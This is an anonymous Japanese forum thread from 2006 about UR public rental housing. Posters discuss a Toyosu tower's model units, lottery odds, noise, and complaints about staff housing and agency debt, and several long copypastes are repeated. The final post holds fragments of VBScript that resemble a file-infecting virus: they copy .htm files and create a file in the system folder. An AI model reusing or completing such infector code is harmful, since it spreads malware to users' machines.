ウォシュレットは掃除することが多い奥様方は嫌いなんじゃないだろうか。
作った人も男だし導入したがるのは父ちゃんや娘なんだろう。

168 :名無し不動さん:2006/08/16(水) 00:04:24 ID:???
室内排水管清掃ってどのくらいの頻度で実施されてま?



169 :名無し不動さん:2006/08/16(水) 22:11:10 ID:???
リフォーム物件に引っ越ししたんだけど、ムダに広い浴室の掃除に使う洗剤とお湯が
もったいないような気がする(´・ω・`)

170 :名無し不動さん:2006/08/16(水) 22:50:22 ID:???
新築ならともかく、他人のクソが付いたウォシュレットなんか使う気しねえ

171 :名無し不動さん:2006/08/17(木) 00:03:20 ID:???
俺なら飲むね

172 :名無し不動さん:2006/08/17(木) 00:34:51 ID:???
大崎情報ない?

173 :名無し不動さん:2006/08/17(木) 01:41:55 ID:???
>>172 このサイトに詳しくでてる
http://www.oosaki.co.jp/

174 :名無し不動さん:2006/08/17(木) 15:09:37 ID:???
雷の音が凄いんだけど、団地って避雷針あるから
パソコンの電源とか切らなくてもおkだよね?

175 :名無し不動さん:2006/08/17(木) 16:09:24 ID:???
ナウキャストで見たけど東武東上線の埼玉部分が凄いことになってたんだな。

176 :名無し不動さん:2006/08/17(木) 17:23:14 ID:???
>>174
ボロ団地だけど、一瞬停電したりする

177 :174:2006/08/17(木) 20:52:47 ID:???
>>176
教えてくれてありがとー

178 :名無し不動さん:2006/08/18(金) 11:17:06 ID:???
>>174
避雷針あったけど、
分電盤?が壊れたことある。

179 :名無し不動さん:2006/08/18(金) 13:57:51 ID:UrYH7nnI
公団スラム化防止策として
公務員割引を導入すべき。

どうにかして人を住まわせるべきなんだよー。
空きを全てなくさなきゃ、ダメよー。

空きがなくなったら、新しいのを建てればいいんだよー。

180 :名無し不動さん:2006/08/18(金) 14:19:56 ID:???
共用の廊下・階段が汚いのも空きが多い理由。
毎日こまめに掃除させればきれいになる。
「外廊下は汚くて当たり前」ではだめ。

181 :名無し不動さん:2006/08/18(金) 14:34:36 ID:???
虫がつぶれていたらは死骸だけでなく体液もきれいに除去するべき。

182 :名無し不動さん:2006/08/18(金) 14:46:03 ID:???
蜘蛛だらけ。蜘蛛蜘蛛蜘蛛。蜘蛛づくし。

183 :名無し不動さん:2006/08/18(金) 14:46:52 ID:???
蜘蛛は脚力があるよな。脚一本取れてるのに影も形もなく逃げおおせた。

184 :名無し不動さん:2006/08/18(金) 14:56:22 ID:???
廊下も汚いが階段は比較にならないほど汚い。
コンクリートの打ちっ放しだからか・・・

185 :名無し不動さん:2006/08/18(金) 19:23:14 ID:GyZglTTa
>>公務員割引を導入すべき。
はぁ?バカデスカ

186 :名無し不動さん:2006/08/18(金) 21:00:02 ID:MFhZQ1uR
童貞割引なら歓迎

187 :名無し不動さん:2006/08/18(金) 23:12:48 ID:ItUYMsrA
人事院が公務員の給与を決定するときに用いる企業は従業員100人以上の企業のみ、これを従業員10人以上に直すと次のような結果が。
        公務員   民間   格差 
青森県   734万  450万  284万
長崎県   726万  463万  263万
長崎市   726万  463万  263万
大分県   743万  483万  260万
秋田県   723万  466万  257万
山県県   736万  486万  250万
岩手県   715万  472万  243万
別府市   716万  484万  232万
沖縄県   703万  471万  232万
東大阪市  886万  657万  229万
日田市   713万  484万  229万
大分市   701万  484万  217万
島根県   706万  491万  215万
熊本県   715万  501万  214万

マスコミに踊らされている愚かな国民の目には公務員の方が高給に見えるらしい。
しかし、それは誤った見方だ。共産党の正しい考えを身に付ければ、民間の方が
高給なのは明らか。


188 :名無し不動さん:2006/08/19(土) 14:46:01 ID:qkbbKFvu
豊洲シエルのモデル見てきました。
レポートです。

・全体的に割り高では?
・免震耐震でない。
・非常階段床が既にひび割れ。
・エレベーターホール床が既に磨耗状態。
・エレベーターが9人乗りで激狭い。

189 :名無し不動さん:2006/08/19(土) 14:59:48 ID:LkOJru84
>>188
あの場所で免震耐震ではないのは心配ですね。

190 :名無し不動さん:2006/08/19(土) 15:01:03 ID:bvhjMG2m
あまり欠点がないってことか。

191 :名無し不動さん:2006/08/19(土) 16:45:21 ID:???
>>188
タワー物件はどこも家賃が1〜2割増って感じですね。
交通の便は文句ないんですが生活するのに果たして適しているかどうかってとこでしょうか。

192 :名無し不動さん:2006/08/19(土) 16:46:38 ID:???
高層階からは、駅まで意外に時間がかかる。



193 :名無し不動さん:2006/08/19(土) 17:28:43 ID:6H7A5Cgl
超人気なら、ハズレ券狙いで応募してみるか。さて、どうよ。

194 :名無し不動さん:2006/08/19(土) 17:36:31 ID:HM9Pjywn
>>188
免震、制震ではないであって、
当たり前に耐震構造だろ。
じゃないと建設不可じゃん。


195 :名無し不動さん:2006/08/19(土) 17:38:52 ID:???
清澄白河よりはマシだけどね。まあ単身者が短期に借りる分にはいいんでないかい?

196 :名無し不動さん:2006/08/19(土) 19:06:59 ID:JMt4p4rB

負債額15兆円とも20兆円とも言われる所が作った建物が信用できるか?



197 :188:2006/08/19(土) 19:15:50 ID:qkbbKFvu
追加
・エレベーターが東芝製で不安。(シンドラーよりマシか?)
・郵便受けが最近の物件では小さい。
・通路側の部屋はほとんど陽が当たらない。
・30F18Fよりレインボーブリッジは見えやすいが東京タワーが隠れやすい。中途半端。
・駐車場は普通車で31,000円
・1Fテナントがあまり魅力的なテナントがない。

198 :名無し不動さん:2006/08/19(土) 19:27:38 ID:???
豊洲にがっかりしたみんな。
素直にトルナーレを借りていればよかったんだよ。

199 :名無し不動さん:2006/08/19(土) 19:46:29 ID:???
辰巳

200 :名無し不動さん:2006/08/19(土) 20:20:06 ID:OiLyoKF5
>>197
で良い所はそれの20倍くらいあるんだろ?

201 :名無し不動さん:2006/08/19(土) 21:00:13 ID:???
見てきた。

エレベーターは上層階の分譲の人達と共用っぽい。狭いね。
1機だけは幅1800mmだが図面には非常用EVって書いてある…。

部屋のデザインに関してはイマイチだね。家具とか置きにくそう。エアコンは付いてる。
床暖房は床下に東京ガス所有のが既に入ってて別途料金を払って借りて使う。

部屋は清澄白河のが良かったと感じた。駅から遠いけどね。

上層階は水平線が見えて眺望はいいね。今のところ。
現東京タワーは間もなくお払い箱だから見えなくてもいい。飛行機いっぱい飛んでた。

買い物はママチャリで1ブロック走ってららぽーとかイオンに行けるかな。
週末には銀座までケーキ買いに行ったりもできそう。

202 :188:2006/08/19(土) 23:21:16 ID:qkbbKFvu
追加
すいません、よいところもレポートします。

・ベランダが奥行きがあり広い。これが一番、以外だった。
・ベランダに洗濯物が干せる。(近隣タワーで消防法で不可の物件がある)
・東向きが以外と眺望がいい、高層で東京湾を一望、ディズニーや海ほたるまでみえた。
・エントランスが機構にしては豪華。
・内装が数種類あり部屋タイプで選べる。フローリングの色とか。
・ゆりかめもの騒音はさほど気にならない。
・エアコンはダイキンでまずまず。
・建物内が全体的にオレンジでお洒落。
・インターホンは顔見えタイプ。
・ドア横に新聞受けがあり便利。

203 :名無し不動さん:2006/08/19(土) 23:25:52 ID:lfHHY9sy
大阪府池田市の閑静な住宅街・五月丘です。そして、こちらが都市再生機構の職員宿舎。
去年完成したばかりの真新しいマンションです
大阪府池田市に去年完成したのは、都市再生機構の職員専用マンション。
建設費6億7,000万円。4階建てで全60戸。
こちらはエレベーター付きだ。
特筆すべきは、その眺望。
池田市内はおろか、梅田のビル群までも見渡せる180度のパノラマ。
家賃はと言えば、2LDK(70〜71平方メートル)で、3万円〜3万3,000円。
3LDK(75〜78平方メートル)で、4万2,000円〜4万9,000円と破格
の安さだ。
<近所の人>
(Q.家賃は75平米で4万円くらいなんですよ)
「エーッ!すごいですね」
(Q.場所は最高ですよね?)
「そうなんですよ。場所はすごいイイなあと思ってて、建ったときに何の建物かと思ってました」
<近所の人>
「ウチのところは68平米で公団ですけど、12万円払ってます。眺めもイイし、うらやましい
 なあと主人と言ってました」

都市再生機構の労働組合は共産党系。



204 :名無し不動さん:2006/08/19(土) 23:26:52 ID:lfHHY9sy
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


205 :名無し不動さん:2006/08/20(日) 01:26:27 ID:???
コピペ貼ってるやつってようじょにイタズラしたりしてURをクビになったやつ?

206 :名無し不動さん:2006/08/20(日) 02:14:32 ID:???
>>202
tnx
倍率何倍くらいになるんだろうか
一応sageて書いたほうがいいかもね

207 :名無し不動さん:2006/08/20(日) 03:55:03 ID:WsJYWCKR
URって住みたいって逝って住めるもんじゃないの?
応募してそっから抽選でアレなんでアレ選ばれなきゃ逝けないの?

あと、基本的に美味しい?

208 :名無し不動さん:2006/08/20(日) 05:38:26 ID:???
>>193は実際にやると偽計業務妨害罪になります。
ここへ書いたことで脅迫罪が成立します。
警視庁に情報提供しました。

209 :名無し不動さん:2006/08/20(日) 09:29:24 ID:???
>>208
どこが脅迫なの? 誰の業務を妨害してるっての?
俺も応募するよ。w

210 :名無し不動さん:2006/08/20(日) 10:32:35 ID:???
清澄白河より作りがよくないんじゃあの家賃の価値ないよ

211 :名無し不動さん:2006/08/20(日) 11:05:15 ID:02QjMVbi
それではシエルタワーを申し込むことにしよう

212 :名無し不動さん:2006/08/20(日) 11:10:18 ID:rxBZE2t9
最大のお勧め物件。

都市再生機構の職員用住宅。
格安、安全物件。
ただし、応募者は都市再生機構の職員に限る。

213 :名無し不動さん:2006/08/20(日) 11:14:02 ID:???
なーんだ、つまんない。

214 :名無し不動さん:2006/08/20(日) 11:26:36 ID:???
>>211
申込むのはいいが当たったら絶対に入れよ。
あそこ補欠を倍以上とっとかないとかなり辞退が出ると思われ

215 :名無し不動さん:2006/08/20(日) 12:36:27 ID:jkrRCHYd
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


216 :名無し不動さん:2006/08/20(日) 12:41:29 ID:OzuxfYw0

まさかとは思うが。
税金を使って建ててる都市再生機構だから、広く国民に対して一般募集する
んだろうが、大企業の社宅がわりに建ててあげてるなんてことはないよな。

217 :名無し不動さん:2006/08/20(日) 13:09:58 ID:AyxTHmO9
確か、社宅がわりにとか募集してるのを見たような。
あんなの有りなのかなあ?

218 :名無し不動さん:2006/08/20(日) 15:21:46 ID:???
今から行動し始めて9月の終わり頃までに借りられる?
あと無職で収入や貯蓄なくても親が収入あればOK?

219 :名無し不動さん:2006/08/20(日) 15:48:43 ID:???
営業所行って聞けばいいのに。

220 :名無し不動さん:2006/08/20(日) 15:53:03 ID:???
ンな事言ったらほとんどの質問や雑談は意味なくなるなw

221 :名無し不動さん:2006/08/20(日) 15:56:10 ID:???
今日広尾の再抽選行ってきたが
段取りが悪すぎてあきれた。

道がわかりずらくて電話が鳴ってるのに
「電話止めときましょう」って
着信拒否。応対するのが仕事だろ。

受付用紙も足りなくて抽選開始時間になっても
抽選ができないありさま。

普段職員ちんたら仕事やってるのがありあり。

222 :名無し不動さん:2006/08/20(日) 15:56:26 ID:???
元々、意味のあるカキコなんてないでしょ。

223 :名無し不動さん:2006/08/20(日) 17:22:49 ID:???
↑夏厨うぜぇ・・・
っていうか粘着荒らしか?

224 :名無し不動さん:2006/08/20(日) 17:23:21 ID:???
>>今から行動し始めて9月の終わり頃までに借りられる?
>>あと無職で収入や貯蓄なくても親が収入あればOK?


無理。
自分の収入、貯蓄なければ無理。

働け!!。


225 :名無し不動さん:2006/08/20(日) 18:03:30 ID:???
親が借りて子が住めばいいで。

226 :名無し不動さん:2006/08/20(日) 18:36:44 ID:???
甘やかしはイクナイ

227 :名無し不動さん:2006/08/20(日) 21:28:22 ID:???
>>225

また貸しは禁止です。
ばれたらかなりやばいぞ



228 :名無し不動さん:2006/08/20(日) 21:47:52 ID:PugRyrny
いや、赤の他人ならば又貸しやけど、親族はOKっていう制度もあるよ。

229 :名無し不動さん:2006/08/20(日) 22:11:29 ID:vse0XE8n
はじめから企業の社宅用で決まってるとかないのか?
一般は単にサクラとか。不思議に思うのは賃料をそんなに負担できる
人達がいるとは思えないんだが。
民間は企業が借り上げとかやってるのが多いんだが。
まさか、税金を使ってる都市再生機構がそんな詐欺みたいなことはできないだろう。

230 :名無し不動さん:2006/08/20(日) 22:30:20 ID:???
現地案内所は開設しておりません

って書いてあるけど、これって現場を確認せずに契約ってことなんでしょうか

231 :名無し不動さん:2006/08/20(日) 22:40:07 ID:???
>>229
社宅可って有るよ
http://www.ur-net.go.jp/shataku/kigyou/index.html
家賃補助でUR借りる人も居ると思うし

232 :名無し不動さん:2006/08/20(日) 22:41:00 ID:???
教えてですみません。今回初URです。
豊洲、普通で申し込むのと江東区で申し込むの、
どっちが倍率低くなるんでしょうか、、
一般論で良いので宜しければアドバイスお願いいたします

233 :名無し不動さん:2006/08/20(日) 22:43:47 ID:???
>>232
こんなところで聞くと嘘教えられるだけですよw
URに直接問い合わせましょう。

234 :名無し不動さん:2006/08/20(日) 22:47:19 ID:CSJaCNzN
だいたいにして、いくらu数が高くても
1Kで15万前後じゃぁ、普通のリーマンでも借りれないだろ。

235 :名無し不動さん:2006/08/20(日) 22:48:03 ID:???
ファミリーが住むには多少理解できるが、
単身者があそこに住むのってかなり収入ないと無理だよな

236 :名無し不動さん:2006/08/20(日) 23:23:38 ID:NCGUyP8Z
>>231
やっぱりホントなんだね。
バブル崩壊後企業は社宅を随分売り払ったとか言ってたが、形を変えて
今度は税金で建てて貰ったとか言うことかな。

この手を使えば、今批判されてる公務員宿舎も簡単だな。
公務員宿舎はなくしました。税金で都市再生機構が一等地に住宅を
建てました。建てただけでなく、税金で家賃補助します。とかやったら
単に新築に変わるだけで実質は何も変わらないで単なる焼け太り。
税金を使って普通の国民が利用できないような物件を作って、特権層の
人達が特権的に使ってると言うことだろう。


237 :名無し不動さん:2006/08/20(日) 23:32:11 ID:???
>>233
明日聞いてみます。教えてくれるんですね。
ありがとうございます。
>>244
私もしがないサラリーマンですが。。
本命の月島、日本橋あたりだとこのFだと
17~19万くらいいっちまうですよ。。ムリぽ

238 :名無し不動さん:2006/08/20(日) 23:38:06 ID:JokhmIza
>>229
社宅可って有るよ
http://www.ur-net.go.jp/shataku/kigyou/index.html
家賃補助でUR借りる人も居ると思うし

>>231
やっぱりホントなんだね。
バブル崩壊後企業は社宅を随分売り払ったとか言ってたが、形を変えて
今度は税金で建てて貰ったとか言うことかな。

この手を使えば、今批判されてる公務員宿舎も簡単だな。
公務員宿舎はなくしました。税金で都市再生機構が一等地に住宅を
建てました。建てただけでなく、税金で家賃補助します。とかやったら
単に新築に変わるだけで実質は何も変わらないで単なる焼け太り。
税金を使って普通の国民が利用できないような物件を作って、特権層の
人達が特権的に使ってると言うことだろう。


239 :名無し不動さん:2006/08/20(日) 23:45:20 ID:FoIOKyxX
そもそも管理費入れたら20万を越す家賃を払って住む人とか
どんな人達なんだ?


240 :名無し不動さん:2006/08/21(月) 00:07:53 ID:???
金持ってる人。経費で落とせる人等。

241 :名無し不動さん:2006/08/21(月) 01:22:05 ID:???
金持ち、経費で落とせるような人達がURとか入るものなの?
民間のもっと条件がよさそうなところに行く気がしなくもないけど。

242 :名無し不動さん:2006/08/21(月) 01:41:02 ID:T1uxzf7h
画鋲とかどうしてる?ぶすぶすしちゃう?工夫おしえてください

243 :名無し不動さん:2006/08/21(月) 01:58:15 ID:7VPGa1CL
>金持ち、経費で落とせるような人達がURとか入るものなの?

それだけ余裕があるんなら、税金に集るなよ。
URも本来税金を使ってやってはだめなようなことをするんなら、民営化しろよ。
完全民営化して税金で保有してる不動産を国庫に返して、それからやるんだな。

244 :名無し不動さん:2006/08/21(月) 02:04:18 ID:9ouBNuzk
やっぱりおかしい。
例え年収1000万と言っても、税金や社会保障費を取られるし、
その上、家賃を年間250万とか300万円払える人なんて国民の中でも
ほんの一握りの人だ。生活費もかかるだろうから。
考えられるのは、会社の経費として落とせる奴しかいない。
URはオーナー経営者とかを相手にしてるのか?税金を使って。

245 :名無し不動さん:2006/08/21(月) 04:27:17 ID:???
>>224>>227
学生とかはどうなんの?

学生であることの証明とか必要じゃないなら学生扱いで住めない?
ていうか若い世代で7,800万の貯金とかあるヤツなんてそうそういないよな

246 :名無し不動さん:2006/08/21(月) 04:29:52 ID:???
>>232
普通はどっちか選ぶことはできないはずだが。

247 :名無し不動さん:2006/08/21(月) 05:46:44 ID:Lo1VHLN8
貧乏人は相手にしてないでごじゃる。

248 :名無し不動さん:2006/08/21(月) 06:07:11 ID:???
相変わらず荒れてんな。
新築は人気あるからな。
URの中古なんて住めたもんじゃない。
築1、2年でもとんでもなく汚い。

249 :名無し不動さん:2006/08/21(月) 07:32:29 ID:???
防音に関しては?
つーか、普通申し込みから住めるまでどれくらいかかる?

250 :名無し不動さん:2006/08/21(月) 07:53:16 ID:???
>>248
超高層団地に住んでいたが、UR団地が荒れていくスピードはすごい。
どうみても住人のDQN率が高いと思う。

251 :名無し不動さん:2006/08/21(月) 07:53:32 ID:???
引き戸を閉める音は響くよ。窓も含めて。

252 :名無し不動さん:2006/08/21(月) 08:20:57 ID:???
新築でも酷いね。防音。

253 :名無し不動さん:2006/08/21(月) 08:47:10 ID:TNNnLxv2
可動間仕切りの開け閉めの音はうるさいですよ。
ウチの上の部屋は毎朝5時頃にガラガラと音を立てている。

254 :名無し不動さん:2006/08/21(月) 11:02:50 ID:???
URって音酷いの?
普通のアパートと比べれば随分マシ?

255 :名無し不動さん:2006/08/21(月) 15:52:17 ID:Lo1VHLN8
>>250
超高層でなくても最上階の住民は、このカンカン照りで頭が逝かれてるらしい。
共有部には物を置くし、異様な雰囲気だよ。イタリアって感じかな。

256 :名無し不動さん:2006/08/21(月) 16:05:32 ID:???
>>239
子供のいない共働き夫婦。
戸建は分譲マンソンは買える資金があるが、賃貸に住んで適度な年数が経過したら新しい所に引っ越す。
分譲でも可能だが、リスクが高い上に手続きが面倒。


本当に金持っている奴とかはホテル暮らし?

257 :名無し不動さん:2006/08/21(月) 16:50:07 ID:D4E3Mc38
URに課税しろ!!!!!!!!!!!!!

258 :232ですが:2006/08/21(月) 18:05:03 ID:adO8toEY
お騒がせいたしました。
やはり江東区で申し込んだ方が普通より
倍率3分の1くらいでした。
豊洲の南の部屋、江東区枠はまだ倍率0でした


259 :名無し不動さん:2006/08/21(月) 18:34:38 ID:???
ってゆうか地元の人間が一般区分で申し込むと無効になる。
なので複数の住所を持っている人以外は選択の余地なし。お前、レス読んでないだろ?

260 :名無し不動さん:2006/08/21(月) 20:05:38 ID:Fyw7znz0
>>254
> URって音酷いの?
> 普通のアパートと比べれば随分マシ?

騒音トラブルはすごい多いよ。
管理事務所もあまりに数が多いので放置状態

261 :名無し不動さん:2006/08/21(月) 20:13:13 ID:???
団地ってさあ、今時布団叩きするバカ、風鈴釣るバカ 
そんなのばっか。

262 :名無し不動さん:2006/08/21(月) 20:58:52 ID:Fyw7znz0
>>261
風鈴気にする人なんて聞いたこと無いけど
布団叩きのトラブルは多いね

263 :名無し不動さん:2006/08/21(月) 21:09:01 ID:???
布団叩きも風鈴も10年ほど前に問題になって、ずいぶんテレビで取り上げられたと思うけど。

264 :名無し不動さん:2006/08/21(月) 21:28:12 ID:3n37g6LS
>URに課税しろ!!!!!!!!!!!!!

なに、税金払ってないのか?
スレの前の方で職員は豪華な宿舎に格安で住んでるとでてたが。
なんなんだURて

265 :名無し不動さん:2006/08/21(月) 21:32:59 ID:???
利権団体

266 :名無し不動さん:2006/08/21(月) 22:11:27 ID:???
>>231
やっぱりホントなんだね。
バブル崩壊後企業は社宅を随分売り払ったとか言ってたが、形を変えて
今度は税金で建てて貰ったとか言うことかな。

この手を使えば、今批判されてる公務員宿舎も簡単だな。
公務員宿舎はなくしました。税金で都市再生機構が一等地に住宅を
建てました。建てただけでなく、税金で家賃補助します。とかやったら
単に新築に変わるだけで実質は何も変わらないで単なる焼け太り。
税金を使って普通の国民が利用できないような物件を作って、特権層の
人達が特権的に使ってると言うことだろう。


267 :名無し不動さん:2006/08/21(月) 22:13:22 ID:???
>>231
やっぱりホントなんだね。
バブル崩壊後企業は社宅を随分売り払ったとか言ってたが、形を変えて
今度は税金で建てて貰ったとか言うことかな。

この手を使えば、今批判されてる公務員宿舎も簡単だな。
公務員宿舎はなくしました。税金で都市再生機構が一等地に住宅を
建てました。建てただけでなく、税金で家賃補助します。とかやったら
単に新築に変わるだけで実質は何も変わらないで単なる焼け太り。
税金を使って普通の国民が利用できないような物件を作って、特権層の
人達が特権的に使ってると言うことだろう。


268 :名無し不動さん:2006/08/21(月) 22:42:09 ID:EXDyu9Eg
豊洲、応募しました。
レインボーブリッチの夜景が見えて最高ですよね。
当たるといいな。

269 :名無し不動さん:2006/08/21(月) 22:44:37 ID:???
>>268
当たっても辞退しちゃだめだよ。本当に入りたいひとが迷惑するから

270 :名無し不動さん:2006/08/21(月) 22:54:02 ID:???
>>231
やっぱりホントなんだね。
バブル崩壊後企業は社宅を随分売り払ったとか言ってたが、形を変えて
今度は税金で建てて貰ったとか言うことかな。

この手を使えば、今批判されてる公務員宿舎も簡単だな。
公務員宿舎はなくしました。税金で都市再生機構が一等地に住宅を
建てました。建てただけでなく、税金で家賃補助します。とかやったら
単に新築に変わるだけで実質は何も変わらないで単なる焼け太り。
税金を使って普通の国民が利用できないような物件を作って、特権層の
人達が特権的に使ってると言うことだろう。


271 :名無し不動さん:2006/08/21(月) 23:41:20 ID:???
>>262
風鈴は自治体の環境等に関するガイドライン等でとりあげられているくらい問題になっている。

アパートマンション等の集合住宅はもちろん、戸建てでも問題になっている。





272 :名無し不動さん:2006/08/21(月) 23:47:21 ID:FSbXXq/f
豊洲逝ってきた
もし応募して当たっても
駐車場の当選の方も厳しいだろw

273 :名無し不動さん:2006/08/22(火) 00:29:09 ID:???
これからは URの時代じゃないよ。
これからは、住宅供給公社じゃね?









かわんねーか?

274 :名無し不動さん:2006/08/22(火) 00:55:15 ID:hnk75ZBc
風鈴は風の強い日は引っ込めてもらわんと結構うるさい

275 :名無し不動さん:2006/08/22(火) 00:57:37 ID:???
共用廊下で蚊取り線香焚くのもやめてくれ。
においが入ってきて迷惑。


276 :名無し不動さん:2006/08/22(火) 01:03:34 ID:???
>>275
蚊取り線香なら全然OKだよ。共用部分の蚊とか結構多いから
それよりもベランダで煙突みたいにタバコ吸うのやめてもらいたい
戸や窓を開けられないから。洗濯物に臭いがついちゃうしホント迷惑

277 :名無し不動さん:2006/08/22(火) 01:35:29 ID:Yniu7iTs
多摩NTの赤字穴埋め、都が134億円の税金投入へ

 東京都都市整備局は9日、造成地の販売不振が続く「多摩ニュータウン」事業の借金返済のため、
同事業の06年度の特別会計に一般会計から約134億円を繰り入れる方針を固めた。赤字の穴埋
めに税金を投入するのは1965年の事業開始以来初めて。現在1300億円余りの借金があり、
最終的に1000億円前後の税金投入が避けられないとみられている。

 東京都多摩市など4市の約2900ヘクタールに広がる多摩ニュータウンは、都と都市再生機構など
が開発を進めた。都は造成費用を借金にあたる都債でまかない、造成地を売って返済にあてている。
現在、都がかかわった約1400ヘクタールのうち約100ヘクタールが売れ残り、05年度末で借金は
1327億円残っている。

http://www.asahi.com/national/update/1110/TKY200511090466.html



278 :名無し不動さん:2006/08/22(火) 01:43:40 ID:pGMCkINV
千葉県住宅公社の特定調停、銀行同意せず不成立(読売オンライン 2004/10/19)
 911億円の債務を抱えた千葉県住宅供給公社と千葉県が銀行11行に債権放棄などを
求めた特定調停の第9回調停が19日、東京地裁で開かれた。
 銀行側に45%にあたる約321億円の債権放棄を求めるなどした地裁勧告の調停案に対し、
公社と県は同意したが、銀行側の全面同意は得られず、調停成立に至らなかった。
 ただ、債権放棄額などの基本的部分には異論がなく、今後、調停成立の可能性もあるため、
地裁は民事調停法17条に基づき、当事者に代わって解決案を示す「決定」を10月中にも出す
見通し。決定が出された場合、異議申し立てを受け付け、異議がなければ、千葉県議会の議決を
経て、調停が成立する。


279 :名無し不動さん:2006/08/22(火) 02:13:38 ID:38cuMTAd
65歳以上の独り暮らし賃貸居住者、初めて1割超
 独立行政法人「都市再生機構」が21日発表した2005年の賃貸住宅居住者定期調査
(約4万3000世帯回答)で、65歳以上の高齢者の独り暮らし世帯の比率が全世帯の
11・3%に達したことが明らかになった。
 2000年の前回調査を3・1ポイント上回り、1965年の調査開始以来、初めて
10%を超えた。

共産党は酷いな。住民税の時といい、賃料といい、高齢者で賃貸に住んでる人達を
ねらい打ちで不利な主張を繰りかえしてる。
地価を上げろ、家賃を上げろなんて。日本のように高地価、高家賃の国では是正を
目指すのが普通なんだが。


280 :名無し不動さん:2006/08/22(火) 02:55:18 ID:eLO02q7s
大家が何も言わないから団地には常識はずれのバカが多いのだろうか?


281 :名無し不動さん:2006/08/22(火) 05:46:44 ID:t/muGN3L
>>260
その原因は建物自体?ガキが多いから?

282 :名無し不動さん:2006/08/22(火) 07:08:52 ID:???
体重が軽いガキが出す音は高が知れてる。
やばいのは大の大人。

283 :名無し不動さん:2006/08/22(火) 07:11:09 ID:???
高齢者宅で致命的な音がすることはまずないけど
致命的な音がしたときは別の意味でやばい。

284 :名無し不動さん:2006/08/22(火) 09:38:17 ID:???
シェルタワーの倍率はHPに出ないんですか?


285 :名無し不動さん:2006/08/22(火) 11:04:20 ID:2fX6on0i
共産党の主張についての疑問点。

彼らは所得税について累進税の主張を叫ぶ。

公団の家賃についても所得に応じた家賃を叫び累進の物まねを叫ぶ。

ところが、固定資産税については地価の高いところほど減税を叫び
不動産資産については逆進性を叫び続けている。

286 :名無し不動さん:2006/08/22(火) 12:54:32 ID:k5wXACEl
>>284
まだ数日しかたってないだろ。


287 :名無し不動さん:2006/08/22(火) 13:29:03 ID:???
>>1のきまり文句

「UR初心者です」
「初URです」
「倍率はHPに出ないの?」

288 :名無し不動さん:2006/08/22(火) 13:32:22 ID:???
「段取りが悪い」

これも追加。

289 :名無し不動さん:2006/08/22(火) 15:57:53 ID:???
で、URって申し込んでから住めるまでどれくらいかかるのが一般的?

290 :名無し不動さん:2006/08/22(火) 17:52:43 ID:???
一週間。

291 :名無し不動さん:2006/08/22(火) 18:04:52 ID:iznA6YG4
半年

292 :名無し不動さん:2006/08/22(火) 21:53:28 ID:uUs5fEac
都市再生機構、関連会社に優先発注 関連財団通じ
朝日新聞 2006年08月20日17時49分
http://www.asahi.com/national/update/0820/NGY200608190010.html

>「入札に偏りがある」と改善勧告を受けた。関連会社との随意契約は国会などでも問題とされ、改善が求められていた。


293 :名無し不動さん:2006/08/22(火) 22:02:20 ID:NhmN1ssA
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。

294 :名無し不動さん:2006/08/22(火) 22:34:23 ID:???
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
